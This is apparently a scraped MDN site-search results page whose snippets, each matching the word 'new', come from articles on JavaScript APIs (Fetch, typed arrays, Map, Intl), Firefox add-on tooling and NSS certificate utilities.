new object this way will throw a typeerror exception. creating initialized cdata objects similarly, you can initialize cdata objects with specific values at the type of creation by specifying them as a parameter when calling the ctype's constructor, like this: var mycdataobj =
new type(value); var mycdataobj = type(value); if the size of the specified type isn't undefined, the specified value is converted to the given type. if the conversion isn't possible, typeerror is thrown. the resulting data is then copied into a
new cdata object. if the original value is already a cdata object, the original object is simply duplicated directly into the
new one. if type is an array...
..., the specified value is converted to the given type. if the conversion isn't possible, typeerror is thrown. the resulting data is then copied into a
new cdata object. if the original value is already a cdata object, the original object is simply duplicated directly into the
new one. if type is an array type of unspecified length, the following steps are taken: if the value is a size value, a
new array of that length is created, with its cells ready to accept values of the same type as those in the specified array. this is the same as
new arraytype(type.elementtype, value). if the type represents a javascript string (that is, an array of jschar characters followed by a null terminator), a copy of that string is created and returned. if the type is an array of 8-bit characters and value ...
...And 11 more matches
Using Fetch - Web APIs
method: 'post', // or 'put' headers: { 'content-type': 'application/json', }, body: json.stringify(data), }) .then(response => response.json()) .then(data => { console.log('success:', data); }) .catch((error) => { console.error('error:', error); }); uploading a file files can be uploaded using an html <input type="file" /> input element, formdata() and fetch(). ...
...field.files[0]); fetch('https://example.com/profile/avatar', { method: 'put', body: formdata }) .then(response => response.json()) .then(result => { console.log('success:', result); }) .catch(error => { console.error('error:', error); }); uploading multiple files files can be uploaded using an html <input type="file" multiple /> input element, formdata() and fetch(). ...
...neatly at line boundaries and are uint8arrays, not strings. if you want to fetch a text file and process it line by line, it is up to you to handle these complications. the following example shows one way to do this by creating a line iterator (for simplicity, it assumes the text is utf-8, and doesn't handle fetch errors). ...
...And 11 more matches
Timing element visibility with the Intersection Observer API - Web APIs
elements of interest become more or less obscured by a shared ancestor node or element, including the document itself. in this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the intersection observer api to track how much time each ad is visible to the user. when an ad exceeds one minute of visible time, it will be replaced with a
new one. although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site. there's a good rea...
...x; height: 20px; width: 120px; font-size: 14px; bottom: 30px; border: 1px solid black; background-color: rgba(255, 255, 255, 0.5); } there's nothing magic in here. it's fairly basic css. tying it together with javascript that brings us to the javascript code which makes everything work. let's start with the global variables: let contentbox; let nextarticleid = 1; let visibleads =
new set(); let previouslyvisibleads = null; let adobserver; let refreshintervalid = 0; these are used as follows: contentbox a reference to the <main> element's htmlelement object in the dom. this is where we'll insert the articles and ads. nextarticleid each article is given a unique id number; this variable tracks the next id to use, starting with 1. visibleads a set which we'll use to tr...
...then we set up an event listener for the visibilitychange event. this event is sent when the document becomes hidde...
...And 11 more matches
RTCPeerConnection.addTrack() - Web APIs
note: adding a track to a connection triggers renegotiation by firing a negotiationneeded event. see starting negotiation in signaling and video calling for details. syntax rtpsender = rtcpeerconnection.addtrack(track, stream...); parameters track a mediastreamtrack object representing the media track to add to the peer connection. stream... optional one or more local mediastream objects to which the track should be added. the specified track doesn't necessarily have to already be part of any of the specified streams. ...
... for the track event on the remote peer will be responsible for determining what stream to add each track to, even if that means simply adding them all to the same stream. ...
...eams && ev.streams[0]) { videoelem.srcobject = ev.streams[0]; } else { if (!inboundstream) { inboundstream =
new mediastream(); videoelem.srcobject = inboundstream; } inboundstream.addtrack(ev.track); } } here, the track event handler adds the track to the first stream specified by the event, if a stream is specified. otherwise, the first time ontrack is called, a
new stream is created and attached to the video element, and then the track is added to the
new stream. from then on,
new tracks are added to that stream. ...
...And 11 more matches
Intl.DateTimeFormat - JavaScript
the intl.datetimeformat object is a constructor for objects that enable language-sensitive date and time formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.datetimeformat() creates a
new datetimeformat object. static methods intl.datetimeformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.datetimeformat.prototype.format() getter function that formats a date according to the locale and formatting options of this datetimeformat object. intl...
...nstance methods intl.datetimeformat.prototype.format() getter function that formats a date according to the locale and formatting options of this datetimeformat object. intl.datetimeformat.prototype.formattoparts() returns an array of objects representing the date string in parts that can be used for custom locale-aware formatting. intl.datetimeformat.prototype.resolvedoptions() returns a
new object with properties reflecting the locale and formatting options computed during initialization of the object. intl.datetimeformat.prototype.formatrange() this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating datetimeformat. intl.datetimeformat.prototype.formatrangetoparts() this method receives two dat...
...s provided when instantiating datetimeformat. intl.datetimeformat.prototype.formatrangetoparts() this method receives two dates and returns an array of objects containing the locale-specific tokens representing each part of the formatted date range. examples using datetimeformat in basic use without specifying a locale, datetimeformat uses the default locale and default options. ...
...And 11 more matches
Object.setPrototypeOf() - JavaScript
t, but may extend to any code that has access to any object whose [[prototype]] has been altered. because this feature is a part of the language, it is still the burden on engine developers to implement that feature performantly (ideally). until engine developers address this issue, if you are concerned about performance, you should avoid setting the [[prototype]] of an object. instead, create a
new object with the desired [[prototype]] using object.create(). syntax object.setprototypeof(obj, prototype) parameters obj the object which is to have its prototype set. prototype the object's
new prototype (an object or null). return value the specified object. description throws a typeerror exception if the object whose [[prototype]] is to be modified is non-extensible according to...
...t's
new prototype (an object or null). return value the specified object. description throws a typeerror exception if the object whose [[prototype]] is to be modified is non-extensible according to object.isextensible(). does nothing if the prototype parameter isn't an object or null (i.e., number, string, boolean, or undefined). otherwise, this method changes the [[prototype]] of obj to the
new value. object.setprototypeof() is in the ecmascript 2015 specification. it is generally considered the proper way to set the prototype of an object, vs. the more controversial object.prototype.__proto__ property. ...
...* returns @object (if it was a primitive value it will transformed into an object). ...
...And 11 more matches
Uint8ClampedArray - JavaScript
255; if you specified a value that is out of the range of [0,255], 0 or 255 will be set instead; if you specify a non-integer, the nearest integer will be set. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). ...
...see also array.of(). instance properties uint8clampedarray.prototype.buffer returns the arraybuffer referenced by the uint8clampedarray fixed at construction time and thus read only. ...
...see also array.of(). ...
...And 11 more matches
Iteration protocols - JavaScript
these protocols can be implemented by any object by simply following some conventions. there are two protocols: the iterable protocol and the iterator protocol. the iterable protocol the iterable protocol allows javascript objects to define or customize their iteration behavior, such as what values are looped over in a for...of construct. some built-in types are built-in iterables with a default iteration behavior, such as array or map, while other types (such as object) are not. ...
...{ value: 'bye', done: (this._first = false) } : { done: true } }, _first: true }; }; notice how redefining @@iterator affects the behavior of built-...
... because each of their prototype objects implements an @@iterator method. user-defined iterables you can make your own iterables like this: let myiterable = {}; myiterable[symbol.iterator] = function* () { yield 1; yield 2; yield 3; }; console.log([...myiterable]); // [1, 2, 3] built-in apis accepting iterables there are many apis that accept iterables. ...
...And 11 more matches
Signing an XPI - Archive of obsolete content
est with a self-signed certificate. see signing an extension for a practical guide. introduction this article describes how to sign your own firefox extensions with a code-signing certificate on a windows platform. it was developed from the linux article so you want to sign your xpi package? by mozdev group's pete collins. this article is a mirror of the original, with minor reformatting, some
new info and all links updated in march 2010. get network security services 1. download the latest network security services (nss) package from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/. for windows, you'll want the nss-3.11.4.zip package in the nss_3_11_4_rtm/msvc6.0/winnt5.0_opt.obj/ folder - it is by 2010 the only one with the right binaries. 2. extract the...
...nd the nspr lib/ directories to the system path. you can either set this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools from the command-line (preferably using a batch file). windows contains its own version of some of these files (e.g. certutil.exe) in the system directory (\windows\system32\) so ensure the
new paths are first in the path search list. c:\> set path=c:\apps\nss-3.11.4\bin\;c:\apps\nss-3.11.4\lib\;c:\apps\nspr-4.6\lib\;%path% an easier way is to copy everything from your
new directories c:\apps\nss-3.11.4\ and c:\apps\nspr-4.6\ including sub directories to the same directory - fx c:\apps\codesigning\ - and then run every command from that. initialize the certificate database decide w...
...gning\> certutil -n -d . the dot will cause the database to be created in the current directory. you will be prompted for the nss certificate database password - don't forget it! c:\projects\codesigning\> certutil -n -d . enter a password which will be used to encrypt your keys. the password should be at least 8 characters long, and should contain at least one non-alphabetic character. enter
new password: re-enter password: create a test certificate create a test certificate, using the -p option to set a password for the
new certificate c:\projects\codesigning\> signtool -g mytestcert -d . -p"password" using certificate directory: . warning: performing this operation while the browser is running could cause corruption of your security databases. if the browser is currently running, ...
...And 10 more matches
Writing to Files - Archive of obsolete content
documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. to write to a file, an output stream is used. an output stream is an object which can be used to write bytes, strings and other values to a file. to create an output stream, use nsiscriptableio.
newoutputstream(). this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a
new one. to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.
newoutputstream() to open a stream for writing to it. to learn more about file objects, see files and streams. try { var file = io.getfil...
...tions to specify text or binary writing, the character set, and whether to append to an existing file or create a
new one. to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.
newoutputstream() to open a stream for writing to it. to learn more about file objects, see files and streams. try { var file = io.getfile("desktop", "myinfo.txt"); var stream = io.
newoutputstream(file, "text"); } catch (ex) { alert(ex); } this example retrieves a file object on the desktop called 'myinfo.txt' using nsiscriptableio.getfile(). it doesn't matter whether the file exists or not. nsiscriptableio.
newoutputstream() is called to create a
new output stream, which will be used to write to the file. in this example, the operations are enclosed in a try-catch block in ord...
...the first argument is the file to write to, and the second is a set of flags which control the writing. in this case, the 'text' flag is used which indicates that you will be writing text to the file. ...
...And 10 more matches
The Implementation of the Application Object Model - Archive of obsolete content
ing good for? the first reason to have local/remote merging is that a remote file must be able to reference local data and have it merged in with the information that it specified. an example of this feature is a downloadable file that describes the user's main bookmarks folder. because the file lives remotely, it can be updated whenever the owner of the web site sees fit. a site admin could add
new bookmarks to the file, and then the user would pick them up. however, in order for this to work, the local bookmarks have to be merged in with the remote bookmarks specified by the site. the second reason to have local/remote merging is to save state and/or to record customizations that the user has made to his or her user interface. imagine a remote file that describes the user's personal toolba...
...ur), you have an easy means of distinguishing the two trees and preventing scripts in the dom tree from manipulating the aom tree. in other words, it makes sense to have two parallel languages, one for describing applications, and the other for describing documents that can be used by those applications. ...
...by making xul a separate beast, this is less of an issue. ...
...And 10 more matches
Reference - Archive of obsolete content
is great if you want to protect the various properties within an object from being poked at accidentally. i also just read a document on proper inheritance using apply(). well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o =
new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding comment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix. for example, "script" and "program" are synonymous. so are "current object" and "context object". we could also put in layman definitions there for js constructs like functions and variables. ...
...ript language="javascript1.2"> will execute the script in the latest js version rather than js 1.2. so how should this be documented? in fx 1.0, js 1.2 is available, but not in the upcoming fx 1.5. there are 5 cases where "javascript1.2" is mentioned in this reference: special:search?search=javascript1.2&go=go. how should they be revised? --maian 23:43, 21 september 2005 (pdt) i think we need a
new section in the reference that specifies the differences between versions, collecting this information into a single location rather than leaving it scattered haphazardly throughout the reference as it currently is. once that is done, the various code samples should be updated to reflect current practices and code if they cannot be written in a "version-neutral" manner. do you think this makes sen...
...ript 1.2 page documenting the various oddities and deviations made in that version, something which i think we should do anyway. maybe something like main article: javascript 1.2--sevenspade 15:16, 6 july 2006 (pdt) as a side note, the ability to to specify different versions has come up again - now between versions 1.6 and 1.7. with <script type="application/javascript;version=1.7" />. see
new_in_javascript_1.7#using_javascript_1.7. this will impact the presentation of future examples if it hasn't already. --george3 11:47, 14 sept 2006 (edt) sgml comment hiding quirks sgml comment hiding needs to be mentioned here and its consequences. brendan just mentioned one obscure one here: https://bugzilla.mozilla.org/show_bu...?id=310993#c20 --maian 22:46, 5 october 2005 (pdt) section...
...And 10 more matches
Building up a basic demo with the PlayCanvas engine - Game development
the width and height of the <canvas> element that playcanvas will use to 100% so that it will fill the entire available viewport space. the first <script> element includes the playcanvas library in the page; we will write our example code in the second one. there is one helper variable already included, which will store a reference to the <canvas> element. ...
... next, we'll set the canvas to fill the window, and automatically change its resolution to be the same as the canvas size. again, add the following lines at the bottom of your script. ...
...e. again, add the following lines at the bottom of your script. app.setcanvasfillmode(pc.fillmode_fill_window); app.setcanvasresolution(pc.resolution_auto); camera now when the setup code is in place we need to think about implementing the standard scene components: camera, lights and objects. let's start with the camera — add these lines to your code, below the previous ones. var camera =
new pc.entity(); camera.addcomponent("camera", { clearcolor:
new pc.color(0.8, 0.8, 0.8) }); app.root.addchild(camera); camera.setposition(0, 0, 7); the code above will create a
new entity. note: an entity is any object used in the scene — it can be an object like a box, cylinder or cone, but it can also be a camera, light or sound source. then it adds a camera component to it with the l...
...And 10 more matches
2D maze game with device orientation - Game development
tion and vibration apis to enhance the gameplay and is built using the phaser framework. basic javascript knowledge is recommended to get the most from this tutorial. example game by the end of the tutorial you will have a fully functional demo game: cyber orb. it will look something like this: phaser framework phaser is a framework for building desktop and mobile html5 games. it’s quite
new, but growing rapidly thanks to the passionate community involved in the development process. you can check it out on github where it’s open sourced, read the online documentation and go through the big collection of examples. the phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the gam...
...mo</title> <style> body { margin: 0; background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body> <script> (function() { var game =
new phaser.game(320, 480, phaser.canvas, 'game'); game.state.add('boot', ball.boot); game.state.add('preloader', ball.preloader); game.state.add('mainmenu', ball.mainmenu); game.state.add('howto', ball.howto); game.state.add('game', ball.game); game.state.start('boot'); })(); </script> </body> </html> so far we have a simple html website with some basic content in the <head> ...
...state.add('howto', ball.howto); game.state.add('game', ball.game); game.state.start('boot'); })(); </script> </body> </html> so far we have a simple html website with some basic content in the <head> section: charset, title, css styling and the inclusion of the javascript files. the <body> contains initialization of the phaser framework and the definitions of the game states. var game =
new phaser.game(320, 480, phaser.canvas, 'game'); the line above will initialize the phaser instance — the arguments are the width of the canvas, height of the canvas, rendering method (we're using canvas, but there are also webgl and auto options available) and the optional id of the dom container we want to put the canvas in. if there's nothing specified in that last argument or the element is n...
...And 10 more matches
Client-side storage - Learn web development
r mechanisms available for storing client-side data, therefore we won't be teaching you how to use cookies in this article. however, this does not mean cookies are completely useless on the modern-day web — they are still used commonly to store data related to user personalization and state, e.g. session ids and access tokens. for more information on cookies see our using http cookies article.
new school: web storage and indexeddb the "easier" features we mentioned above are as follows: the web storage api provides a very simple syntax for storing and retrieving smaller, data items consisting of a name and a corresponding value. this is useful when you just need to store some simple data, like the user's name, whether they are logged in, what color to use for the background of the scre...
...er they are logged in, what color to use for the background of the screen, etc. the indexeddb api provides the browser with a complete database system for storing complex data. this can be used for things from complete sets of customer records to even complex data types like audio or video files. you'll learn more about these apis below. the future: cache api some modern browsers support the
new cache api. this api is designed for storing http responses to specific requests, and is very useful for doing things like storing website assets offline so the site can subsequently be used without a network connection. cache is usually used in combination with the service worker api, although it doesn't have to be. use of cache and service workers is an advanced topic, and we won't be covering ...
...ticle, although we will show a simple example in the offline asset storage section below. storing simple data — web storage the web storage api is very easy to use — you store simple name/value pairs of data (limited to strings, numbers, etc.) and retrieve these values when needed. basic syntax let's show you how: first, go to our web storage blank template on github (open this in a
new tab). open the javascript console of your browser's developer tools. all of your web storage data is contained within two object-like structures inside the browser: sessionstorage and localstorage. the first one persists data for as long as the browser is open (the data is lost when the browser is closed) and the second one persists data even after the browser is closed and then opene...
...And 10 more matches
Handling common JavaScript problems - Learn web development
such code has diminished as the requirement to support older browsers has lessened (although bear in mind that they have not gone away altogether). these days, most cross-browser javascript problems are seen: when poor-quality browser-sniffing code, feature-detection code, and vendor prefix usage block browsers from running code they could otherwise use just fine. when developers make use of
new/nascent javascript features (for example ecmascript 6 / ecmascript next features, modern web apis...) in their code, and find that such features don't work in older browsers. we'll explore all these problems and more below. fixing general javascript problems as we said in the previous article on html/css, you should make sure your code is working generally, before going on to concentrate on t...
...mbers']; for(i = 0; i < heroes.length; i++) { ... so the code falls over as soon as we try to access a property of jsonobj (which as you might expect, is supposed to be a json object). this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request =
new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails. the console api you may already know what is wrong with this code, but let's explore it some more to show how you could investigate this. for a start, there is a console api that allows javascript code to interact with the...
...takes or unrecognized syntax, more often than not it will throw errors. there are a number of modern javascript language features defined in recent versions of the specs (ecmascript 6 / ecmascript next) that simply won't work in older browsers. some of these are syntactic sugar (basically an easier, nicer way of writing what you can already do using existing features), and some offer interesting
new possibilities. for example: promises are a great
new feature for performing asynchronous operations and making sure those operations are complete before code that relies on their results is used for something else. as an example, the fetch api (a modern equivalent to xmlhttprequest) uses promises to fetch resources across the network and make sure that the response has been returned before th...
...And 10 more matches
AsyncTestUtils extended framework
the asynctestutils extended framework is one mechanism for testing the mail
news component of thunderbird. see mail
news automated testing for a description of the other testing mechanisms. ...
... the asynctestutils extended framework is one mechanism for testing the mail
news component of thunderbird. see mail
news automated testing for a description of the other testing mechanisms. ...
... the asynctestutils extended framework is one mechanism for testing the mail
news component of thunderbird. see mail
news automated testing for a description of the other testing mechanisms. ...
...And 10 more matches
NSS Tools certutil
using the certificate database tool the certificate database tool is a command-line utility that can create and modify the netscape communicator cert8.db and key3.db database files. it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate
new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file. starting from nss 3.35, the database format was upgraded to support sqlite as described in this document. it means that cert9.db and key4.db files may be targeted instead. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database. this document dis...
...tion. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h option. options and arguments options specify an action and are uppercase. option arguments modify an action and are lowercase. certificate database tool command options and their arguments are defined as follows: options -n create
new certificate and key databases. -s create an individual certificate and add it to a certificate database. -r create a certificate-request file that can be submitted to a certificate authority (ca) for processing into a finished certificate. output defaults to standard out unless you use -ooutput-file argument. use the -a argument to speci...
... create an individual certificate and add it to a certificate database. -r create a certificate-request file that can be submitted to a certificate authority (ca) for processing into a finished certificate. output defaults to standard out unless you use -ooutput-file argument. use the -a argument to specify ascii output. -c create a
new binary certificate file from a binary certificate-request file. use the -i argument to specify the certificate-request file. if this argument is not used certificate database tool prompts for a filename. -g generate a
new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by...
...And 10 more matches
Manipulating bookmarks using Places
k management tasks using the bookmarks service. ...
... all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a
new bookmark folder is done using the nsinavbookmarksservice.createfolder() method. ...
...ents.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a
new bookmark folder is done using the nsinavbookmarksservice.createfolder() method. for example, to create a
new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var
newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a
new folder named "folder name here" in it. ...
...And 10 more matches
nsIWindowWatcher
erface for such notifications (not a public one, anyway). this is taken care of both in mozilla and by common embedding code. embedding clients need do nothing special about that requirement. this component must be initialized at application startup by calling setwindowcreator(). ...
...s taken care of both in mozilla and by common embedding code. embedding clients need do nothing special about that requirement. this component must be initialized at application startup by calling setwindowcreator(). ...
...open, along with their corresponding chrome interfaces. since dom windows lack a (public) means of retrieving their corresponding chrome, this method will do that. nsiwebbrowserchrome getchromeforwindow( in nsidomwindow awindow ); parameters awindow the nsidomwindow whose chrome window the caller needs. ...
...And 10 more matches
Address Book examples
database specific information, that is used on edits. editing contacts once you have obtained a card from an nsiabdirectory (see above), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("f...
...database specific information, that is used on edits. editing contacts once you have obtained a card from an nsiabdirectory (see above), you can edit it in a two step process, firstly, change the properties that you to edit: card.setproperty("firstname", "jane"); card.setproperty("lastname", "doe"); secondly, c...
....; // an nsiabdirectory for the parent of the mailing list. parentdirectory.addmaillist(maillist); modifying a mailing list to modify a mailing list, you first need an object that implements nsiabcard. this can be obtained via searching in address books as mentioned above. ...
...And 10 more matches
EventTarget.addEventListener() - Web APIs
anywhere in the table bubbles up to the handler and runs modifytext(). result event listener with anonymous function here, we'll take a look at how to use an anonymous function to pass parameters into the event listener. ...
...ent listener with anonymous function here, we'll take a look at how to use an anonymous function to pass parameters into the event listener. html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext(
new_text) { const t2 = document.getelementbyid("t2"); t2.firstchild.nodevalue =
new_text; } // function to add event listener to table const el = document.getelementbyid("outside"); el.addeventlistener("click", function(){modifytext("four")}, false); notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the modifytext() function, which is responsible for actually responding to the event. result event lis...
...modifytext() function, which is responsible for actually responding to the event. result event listener with an arrow function this example demonstrates a simple event listener implemented using arrow function notation. html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 function modifytext(
new_text) { const t2 = document.getelementbyid("t2"); t2.firstchild.nodevalue =
new_text; } // add event listener to table with an arrow function const el = document.getelementbyid("outside"); el.addeventlistener("click", () => { modifytext("four"); }, false); result please note that while anonymous and arrow functions are similar, they have different this bindings. while anonymous (and all...
...And 10 more matches
Migrating from webkitAudioContext - Web APIs
ate your code to use the modern web audio api. the web audio standard was first implemented in webkit, and the implementation was built in parallel with the work on the specification of the api. as the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed from the webkit (and blink) implementations due to backwards compatibility reasons.
new engines implementing the web audio spec (such as gecko) will only implement the official, final version of the specification, which means that code using webkitaudiocontext or old naming conventions in the web audio specification may not immediately work out of the box in a compliant web audio implementation. this article attempts to summarize the areas where developers are likely to encounter t...
...tprocessor. these are simple renames that were made in order to improve the consistency of these method names on audiocontext. if your code uses either of these names, like in the example below : // old method names var gain = context.creategainnode(); var delay = context.createdelaynode(); var js = context.createjavascriptnode(1024); you can simply rename the methods to look like this: //
new method names var gain = context.creategain(); var delay = context.createdelay(); var js = context.createscriptprocessor(1024); the semantics of these methods remain the same in the renamed versions. changes to starting and stopping nodes in webkitaudiocontext, there are two ways to start and stop audiobuffersourcenode and oscillatornode: the noteon() and noteoff() methods, and the start() and...
...nd stopping nodes in webkitaudiocontext, there are two ways to start and stop audiobuffersourcenode and oscillatornode: the noteon() and noteoff() methods, and the start() and stop() methods. (audiobuffersourcenode has yet another way of starting output: the notegrainon() method.) the noteon()/notegrainon()/noteoff() methods were the original way to start/stop output in these nodes, and in the
newer versions of the specification, the noteon() and notegrainon() methods were consolidated into a single start() method, and the noteoff() method was renamed to the stop() method. in order to port your code, you can just rename the method that you're using. for example, if you have code like the below: var osc = context.createoscillator(); osc.noteon(1); osc.noteoff(1.5); var src = context.cre...
...And 10 more matches
Array.prototype.slice() - JavaScript
the original array will not be modified. the source for this interactive demo is stored in a github repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.slice([start[, end]]) parameters start optional zero-based index at which to start extraction. a negative index can be used, indicating an offset from the end of the sequence. slice(-2) extracts the last two elements in the sequence. ...
... 2, and 3). a negative index can be used, indicating an offset from the end of the sequence. slice(2,-1) extracts the third element through the second-to-last element in the sequence. if end is omitted, slice extracts through the end of the sequence (arr.length). if end is greater than the length of the sequence, slice extracts through to the end of the sequence (arr.length). ...
...rough to the end of the sequence (arr.length). return value a
new array containing the extracted elements. description slice does not alter the original array. it returns a shallow copy of elements from the original array. elements of the original array are copied into the returned array as follows: for object references (and not the actual object), slice copies object references into the
new array. both the original and
new array refer to the same object. if a referenced object changes, the changes are visible to both the
new and original arrays. for strings, numbers and booleans (not string, number and boolean objects), slice copies the values into the
new array. ...
...And 10 more matches
Int8Array - JavaScript
the int8array typed array represents an array of twos-complement 8-bit signed integers. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). constructor int8array() creates a
new int8array object. static properties int8array.bytes_per_element returns a number value of the element size. 1 in the case of an int8array. int8array.name returns the string value of the constructor name. in the case of the int8array type: "int8array". static methods int8array.from() creates a
new int8array from an array-like or iterable object. see also array.from(). int8array.of() creates a
new int8array with a variable number of arguments. see also array.o...
...m the start of its arraybuffer. fixed at construction time and thus read only. int8array.prototype.length returns the number of elements hold in the int8array. fixed at construction time and thus read only. instance methods int8array.prototype.copywithin() copies a sequence of array elements within the array. see also array.prototype.copywithin(). int8array.prototype.entries() returns a
new array iterator object that contains the key/value pairs for each index in the array. see also array.prototype.entries(). int8array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int8array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also array.p...
...or each index in the array. see also array.prototype.entries(). int8array.prototype.every() tests whether all elements in the array pass the test provided by a function. see also array.prototype.every(). int8array.prototype.fill() fills all the elements of an array from a start index to an end index with a static value. see also array.prototype.fill(). int8array.prototype.filter() creates a
new array with all of the elements of this array for which the provided filtering function returns true. see also array.prototype.filter(). int8array.prototype.find() returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found. see also array.prototype.find(). int8array.prototype.findindex() returns the found index in the arra...
...And 10 more matches
Map - JavaScript
them. performance performs better in scenarios involving frequent additions and removals of key-value pairs. not optimized for frequent additions and removals of key-value pairs. setting object properties setting object properties works for map objects as well, and can cause considerable confusion. therefore, this appears to work in a way: let wrongmap =
new map() wrongmap['bla'] = 'blaa' wrongmap['bla2'] = 'blaaa2' console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } but that way of setting a property does not interact with the map data structure. it uses the feature of the generic object. the value of 'bla' is not stored in the map for queries. other operations on the data fail: wrongmap.has('bla') // false wrongmap.delete('bla') //...
...teract with the map data structure. it uses the feature of the generic object. the value of 'bla' is not stored in the map for queries. other operations on the data fail: wrongmap.has('bla') // false wrongmap.delete('bla') // false console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } the correct usage for storing data in the map is through the set(key, value) method. ...
... static properties get map[@@species] the constructor function that is used to create derived objects. instance properties map.prototype.size returns the number of key/value pairs in the map object. instance methods map.prototype.clear() removes all key-value pairs from the map object. map.prototype.delete(key) returns true if an element in the map object existed an...
...And 10 more matches
this - JavaScript
e classes are functions under the hood. but there are some differences and caveats. within a class constructor, this is a regular object. all non-static methods within the class are added to the prototype of this: class example { constructor() { const proto = object.getprototypeof(this); console.log(object.getownpropertynames(proto)); } first(){} second(){} static third(){} }
new example(); // ['constructor', 'first', 'second'] note: static methods are not properties of this. they are properties of the class itself. derived classes unlike base class constructors, derived constructors have no initial this binding. calling super() creates a this binding within the constructor and essentially has the effect of evaluating the following line of code, where base is the i...
...ctor', 'first', 'second'] note: static methods are not properties of this. they are properties of the class itself. derived classes unlike base class constructors, derived constructors have no initial this binding. ...
...var obj = {a: 'custom'}; // we declare a variable and the variable is assigned to the global window as its property. ...
...And 10 more matches
ui/button/toggle - Archive of obsolete content
you can add a "badge" to a button using its badge property. this can contain a number or a string, and you can update it at any time. by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", lab...
...to set state like this, call state() with 2 parameters: the first parameter is a window or tab object or as a shorthand, the string "window" for the currently active window, or the string "tab" for the currently active tab the second parameter is an object containing the state properties you wish t...
... name type disabled boolean determines whether the button is disabled. disabled buttons appear disabled in the ui, and do not respond to clicks. defaults to false. onchange function change handler for the button. onclick function click handler for the button. badge number or string
new in firefox 36. badge to attach to the button. the badge can contain as many characters (or digits) as you like, but only the first four will be displayed. badgecolor css <color> value
new in firefox 36. color for the badge. if badgecolor is omitted and badge is specified, then the badge is red. togglebutton methods click() click ...
...And 9 more matches
jpm - Archive of obsolete content
o not wish to, or are unable to, install jpm globally, you may instead install it locally: cd $home && npm install jpm to run jpm from a terminal when installed locally, you must add the directory "$home/node_modules/.bin/" to your terminal's path first. add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a
new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands. note that un...
...ests. jpm xpi package your add-on as an xpi file, which is the install file format for firefox add-ons. jpm post package your add-on as an xpi file, and then post it to some url. jpm watchpost package your add-on as an xpi file whenever there is a file change and post that to some url. jpm sign package your add-on as an xpi file, and then retrieve a
new xpi signed by mozilla. jpm init this command initializes a
new add-on from scratch. create a
new directory, change into it, and run jpm init. mkdir my-addon cd my-addon jpm init you'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file. title name: this defaults to the name of the directory in which you are runnin...
